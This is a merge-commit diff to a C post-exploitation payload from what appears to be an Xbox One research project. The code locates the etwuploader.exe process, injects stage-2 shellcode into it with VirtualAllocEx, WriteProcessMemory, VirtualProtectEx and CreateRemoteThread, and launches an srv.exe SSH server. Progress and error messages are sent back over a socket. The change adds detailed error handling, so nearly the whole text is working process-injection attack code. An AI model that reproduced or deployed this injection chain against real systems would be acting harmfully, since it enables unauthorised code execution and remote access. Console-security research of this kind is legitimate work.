Merge pull request #21 from xboxoneresearch/feat/post_exploit_errorhandling

feat: increase error details in post_exploit stage

Author: carrot-c4k3

collat_payload/post_exploit.c

@@ -65,9 +65,9 @@ void post_exploit_spawn_ssh_server(SOCKET sock) {
 
     if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
     {
-        sprintf(cur_msg, "EnumProcessesFailed\n");
+        sprintf(cur_msg, "EnumProcessesFailed, error: 0x%x\n", GetLastError());
         send(sock, cur_msg, strlen(cur_msg), 0);
-        return 1;
+        exit(0);
     }
 
 
@@ -99,11 +99,11 @@ void post_exploit_spawn_ssh_server(SOCKET sock) {
                         sizeof(szProcessName) / sizeof(CHAR));
                 }
 
-                sprintf(cur_msg, "Process: %s\n", szProcessName);
-                send(sock, cur_msg, strlen(cur_msg), 0);
+                //sprintf(cur_msg, "Process: %s\n", szProcessName);
+                //send(sock, cur_msg, strlen(cur_msg), 0);
 
                 if (strcmp(szProcessName, "etwuploader.exe") == 0) {
-                    sprintf(cur_msg, "Found etwuploader.exe\n");
+                    sprintf(cur_msg, "Found etwuploader.exe (PID: %u, HANDLE: %p)\n", pid, hProcess);
                     send(sock, cur_msg, strlen(cur_msg), 0);
 
                     target_process = hProcess;
@@ -130,20 +130,39 @@ void post_exploit_spawn_ssh_server(SOCKET sock) {
 
     HANDLE filehandle = CreateFileA(stage2_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0);
     if (filehandle == INVALID_HANDLE_VALUE) {
-        sprintf(cur_msg, "Failed to load stage2\n");
+        sprintf(cur_msg, "Failed to load stage2, error: 0x%x\n", GetLastError());
         send(sock, cur_msg, strlen(cur_msg), 0);
         exit(0);
-        return;
     }
 
     DWORD file_size = GetFileSize(filehandle, NULL);
+    if (file_size <= 0) {
+        sprintf(cur_msg, "GetFileSize failed, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+    }
 
-    sprintf(cur_msg, "Allocating memory for the shellcode in the remote process\n");
+    sprintf(cur_msg, "Allocating memory (%u bytes) for the shellcode in the remote process\n", file_size);
     send(sock, cur_msg, strlen(cur_msg), 0);
 
     LPVOID shellcode_addr = VirtualAllocEx(target_process, 0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+    if (shellcode_addr == NULL) {
+        sprintf(cur_msg, "Failed to allocate memory for shellcode in remote process, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
     HANDLE h_heap = GetProcessHeap();
+    if (h_heap == INVALID_HANDLE_VALUE || h_heap == NULL) {
+        sprintf(cur_msg, "Failed to get process heap, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
     BYTE* shellcode_data = HeapAlloc(h_heap, 0, file_size);
+    if (shellcode_data == INVALID_HANDLE_VALUE || shellcode_data == NULL) {
+        sprintf(cur_msg, "Failed to heap allocate, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
+
 
     DWORD remaining = file_size;
     DWORD bytes_read = 0;
@@ -157,37 +176,79 @@ void post_exploit_spawn_ssh_server(SOCKET sock) {
 
     sprintf(cur_msg, "Writing shellcode\n");
     send(sock, cur_msg, strlen(cur_msg), 0);
-    WriteProcessMemory(target_process, shellcode_addr, shellcode_data, file_size, NULL);
+    BOOL bSuccess = WriteProcessMemory(target_process, shellcode_addr, shellcode_data, file_size, NULL);
+    if (!bSuccess) {
+        sprintf(cur_msg, "Failed WriteProcessMemory, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
 
     sprintf(cur_msg, "VirtualProtecting shellcode\n");
     send(sock, cur_msg, strlen(cur_msg), 0);
     DWORD old_protection = 0;
-    VirtualProtectEx(target_process, shellcode_addr, file_size, PAGE_EXECUTE_READ, &old_protection);
+    bSuccess = VirtualProtectEx(target_process, shellcode_addr, file_size, PAGE_EXECUTE_READ, &old_protection);
+    if (!bSuccess) {
+        sprintf(cur_msg, "Failed VirtualProtect, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
 
+    char srv_name[0x200] = { 0 };
+    DWORD result = ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\srv.exe", srv_name, sizeof(srv_name));
+    if (result == 0) {
+        sprintf(cur_msg, "Failed ExpandEnvironmentStringsA, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
 
-    sprintf(cur_msg, "Creating remote thread\n");
-    send(sock, cur_msg, strlen(cur_msg), 0);
 
-    char srv_name[0x200] = { 0 };
-    ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\srv.exe", srv_name, sizeof(srv_name));
     sprintf(cur_msg, "New process to be started: %s\n", srv_name);
     send(sock, cur_msg, strlen(cur_msg), 0);
 
     LPVOID image_name = VirtualAllocEx(target_process, 0, sizeof(srv_name), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
-    WriteProcessMemory(target_process, image_name, srv_name, sizeof(srv_name), NULL);
+    if (image_name == NULL) {
+        sprintf(cur_msg, "Failed VirtualAllocEx, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
+
+    bSuccess = WriteProcessMemory(target_process, image_name, srv_name, sizeof(srv_name), NULL);
+    if (!bSuccess) {
+        sprintf(cur_msg, "Failed WriteProcessMemory, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
 
     SHELLCODE_ARGS args = {
         image_name,
         NULL,
     };
 
     LPVOID args_addr = VirtualAllocEx(target_process, 0, sizeof(args), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+    if (args_addr == NULL) {
+        sprintf(cur_msg, "Failed VirtualAllocEx, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
     sprintf(cur_msg, "Args will be allocated at: %p\n", args_addr);
     send(sock, cur_msg, strlen(cur_msg), 0);
 
-    WriteProcessMemory(target_process, args_addr, &args, sizeof(args), NULL);
+    bSuccess = WriteProcessMemory(target_process, args_addr, &args, sizeof(args), NULL);
+    if (!bSuccess) {
+        sprintf(cur_msg, "Failed WriteProcessMemory, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
+
+    sprintf(cur_msg, "Creating remote thread\n");
+    send(sock, cur_msg, strlen(cur_msg), 0);
 
     HANDLE thread_handle = CreateRemoteThread(target_process, NULL, 0, shellcode_addr, args_addr, 0, NULL);
+    if (thread_handle == INVALID_HANDLE_VALUE) {
+        sprintf(cur_msg, "Failed CreateRemoteThread, error: 0x%x\n", GetLastError());
+        send(sock, cur_msg, strlen(cur_msg), 0);
+        exit(0);
+    }
     //ResumeThread(thread_handle);
     sprintf(cur_msg, "Remote thread HANDLE: %p\n", thread_handle);
     send(sock, cur_msg, strlen(cur_msg), 0);